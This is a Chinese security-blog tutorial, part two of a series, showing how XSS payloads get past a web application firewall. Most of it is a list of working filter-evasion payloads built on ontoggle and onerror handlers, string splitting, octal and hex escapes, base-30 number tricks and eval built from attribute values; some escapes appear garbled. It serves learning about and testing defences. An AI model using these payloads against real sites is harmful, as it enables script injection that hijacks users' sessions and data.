欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

测试WAF来学习XSS姿势(二)

来源:本站整理 作者:佚名 时间:2019-04-15 TAG: 我要投稿

对于我这个菜鸟来说,我通过谷歌百度学习到很多前辈的资料,甚至每句话都是他的指导,我也很感激前辈的为我们铺设的道路,让我们更快的成长起来。我也乐于分享,可能有些知识点过于单调或者久远,请见谅。
 
waf
前几天花了10买了一个月的服务器,换个waf来测试。

Test
遗漏标签就不测试了,上一篇水文的分享的标签也可以过,不信找几个试试= =
好吧非常打脸,拦截了。

然而换个prompt()函数???免费版当然是这样的啦,高级服务不仅我买不起,还绕不过啊,而且我不是真正的站长,规则我也不会设啊,总之就是这也不会那也不会。


Top属性类似的补充
还记得上篇的top属性嘛

实际上可以利用的还有好几个,看到这里各位是否get到什么了。

我们可以利用的类似拼接的对象又多了几个,例如:
//一家人就是要整整齐齐
details open ontoggle=top['al'%2B'ert'](1) >
details open ontoggle=self['al'%2B'ert'](1) >
details open ontoggle=parent['al'%2B'ert'](1) >
details open ontoggle=frames['al'%2B'ert'](1) >
details open ontoggle=content['al'%2B'ert'](1) >
details open ontoggle=window['al'%2B'ert'](1) >
这些都可以绕过waf,总结起来有 top self parent frames content window,无疑top是最短的,所谓短小精悍,这里借用PKAV的一张ppt。

其他补充
除了拆分构造,我们必须要了解还有编码,这个确实是老生常谈的话题,先看个例子吧
将e字母url编码,成功弹窗也绕过waf。

其他编码
JS8编码:
details open ontoggle=top['al145rt'](1) >
details open ontoggle=top['141154145162164'](1) >
JS16编码:
details open ontoggle=top['alx65rt'](1) >
其他
details open ontoggle=top[/al/.source%2B/ert/.source](1) >
parseInt()与toString()
parseInt()

例子: alert字符串用parseInt函数,以基数为30转化后为8680439

toString()

例子: toString函数将返回的数字8680439,以基数为30还原

这样你就能理解下面这个例子了。
details open ontoggle=top[8680439..toString(30)](1); >
details open ontoggle=top[11189117..toString(32)](1); >

俩个例子
例1
img src=1 alt=al lang=ert onerror=top[alt%2blang](0)>
这个例子很巧妙,将alt和lang属性分别赋值合并起来就是alert,并在top属性内将2个属性相加。
例2
 details open ontoggle=top[a='al',b='ev',b%2ba]('alert(1)')>
在top属性内添加2个变量,并赋值构造eval,然后执行alert(1)
测试下,拦截了。

其实waf拦截的是alert这个关键字,换个prompt()函数就过了

[1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.ylxj.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载